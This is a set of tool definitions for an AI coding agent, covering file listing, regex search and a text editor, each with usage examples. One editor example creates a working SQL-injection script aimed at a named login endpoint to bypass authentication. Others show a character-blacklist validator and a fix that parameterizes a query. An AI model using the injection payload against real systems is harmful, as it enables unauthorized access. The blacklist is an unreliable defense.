<tools>
  <tool name="list_files">
    <description>List files and directories within the specified directory.</description>
    <parameters>
      <parameter name="path" type="string" required="true">
        <description>Directory path to list</description>
      </parameter>
      <parameter name="recursive" type="boolean" required="false">
        <description>Whether to list files recursively</description>
      </parameter>
    </parameters>
    <returns type="Dict[str, Any]">
      <description>Response containing: - files: List of files and directories - total_files: Total number of files found - total_dirs: Total number of directories found</description>
    </returns>
    <notes>
  - Lists contents alphabetically
  - Returns maximum 500 results to avoid overwhelming output
    </notes>
    <examples>
  # List directory contents
  <function=list_files>
  <parameter=path>/home/user/project/src</parameter>
  </function>

  # Recursive listing
  <function=list_files>
  <parameter=path>/home/user/project/src</parameter>
  <parameter=recursive>true</parameter>
  </function>
    </examples>
  </tool>
  <tool name="search_files">
    <description>Perform a regex search across files in a directory.</description>
    <parameters>
      <parameter name="path" type="string" required="true">
        <description>Directory path to search</description>
      </parameter>
      <parameter name="regex" type="string" required="true">
        <description>Regular expression pattern to search for</description>
      </parameter>
      <parameter name="file_pattern" type="string" required="false">
        <description>File pattern to filter (e.g., "*.py", "*.js")</description>
      </parameter>
    </parameters>
    <returns type="Dict[str, Any]">
      <description>Response containing: - output: The search results as a string</description>
    </returns>
    <notes>
  - Searches recursively through subdirectories
  - Uses ripgrep for fast searching
    </notes>
    <examples>
  # Search Python files for a pattern
  <function=search_files>
  <parameter=path>/home/user/project/src</parameter>
  <parameter=regex>def\s+process_data</parameter>
  <parameter=file_pattern>*.py</parameter>
  </function>
    </examples>
  </tool>
  <tool name="str_replace_editor">
    <description>A text editor tool for viewing, creating and editing files.</description>
    <parameters>
      <parameter name="command" type="string" required="true">
        <description>Editor command to execute</description>
      </parameter>
      <parameter name="path" type="string" required="true">
        <description>Path to the file to edit</description>
      </parameter>
      <parameter name="file_text" type="string" required="false">
        <description>Required parameter of create command, with the content of the file to be created</description>
      </parameter>
      <parameter name="view_range" type="string" required="false">
        <description>Optional parameter of view command when path points to a file. If none is given, the full file is shown. If provided, the file will be shown in the indicated line number range, e.g. [11, 12] will show lines 11 and 12. Indexing at 1 to start. Setting [start_line, -1] shows all lines from start_line to the end of the file</description>
      </parameter>
      <parameter name="old_str" type="string" required="false">
        <description>Required parameter of str_replace command containing the string in path to replace</description>
      </parameter>
      <parameter name="new_str" type="string" required="false">
        <description>Optional parameter of str_replace command containing the new string (if not given, no string will be added). Required parameter of insert command containing the string to insert</description>
      </parameter>
      <parameter name="insert_line" type="string" required="false">
        <description>Required parameter of insert command. The new_str will be inserted AFTER the line insert_line of path</description>
      </parameter>
    </parameters>
    <returns type="Dict[str, Any]">
      <description>Response containing the result of the operation</description>
    </returns>
    <notes>
  Command details:
  - view: Show file contents, optionally with line range
  - create: Create a new file with given content
  - str_replace: Replace old_str with new_str in file
  - insert: Insert new_str after the specified line number
  - undo_edit: Revert the last edit made to the file
    </notes>
    <examples>
  # View a file
  <function=str_replace_editor>
  <parameter=command>view</parameter>
  <parameter=path>/home/user/project/file.py</parameter>
  </function>

  # Create a file
  <function=str_replace_editor>
  <parameter=command>create</parameter>
  <parameter=path>/home/user/project/exploit.py</parameter>
  <parameter=file_text>#!/usr/bin/env python3
"""SQL Injection exploit for Acme Corp login endpoint."""

import requests
import sys

TARGET = "https://app.acme-corp.com/api/v1/auth/login"

def exploit(username: str) -> dict:
    payload = {
        "username": f"{username}'--",
        "password": "anything"
    }
    response = requests.post(TARGET, json=payload, timeout=10)
    return response.json()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <username>")
        sys.exit(1)

    result = exploit(sys.argv[1])
    print(f"Result: {result}")</parameter>
  </function>

  # Replace text in file
  <function=str_replace_editor>
  <parameter=command>str_replace</parameter>
  <parameter=path>/home/user/project/file.py</parameter>
  <parameter=old_str>old_function()</parameter>
  <parameter=new_str>new_function()</parameter>
  </function>

  # Insert text after line 10
  <function=str_replace_editor>
  <parameter=command>insert</parameter>
  <parameter=path>/home/user/project/file.py</parameter>
  <parameter=insert_line>10</parameter>
  <parameter=new_str>def validate_input(user_input: str) -> bool:
    """Validate user input to prevent injection attacks."""
    forbidden_chars = ["'", '"', ";", "--", "/*", "*/"]
    for char in forbidden_chars:
        if char in user_input:
            return False
    return True</parameter>
  </function>

  # Replace code block
  <function=str_replace_editor>
  <parameter=command>str_replace</parameter>
  <parameter=path>/home/user/project/auth.py</parameter>
  <parameter=old_str>def authenticate(username, password):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return result</parameter>
  <parameter=new_str>def authenticate(username, password):
    query = "SELECT * FROM users WHERE username = %s"
    result = db.execute(query, (username,))
    return result</parameter>
  </function>
    </examples>
  </tool>
</tools>
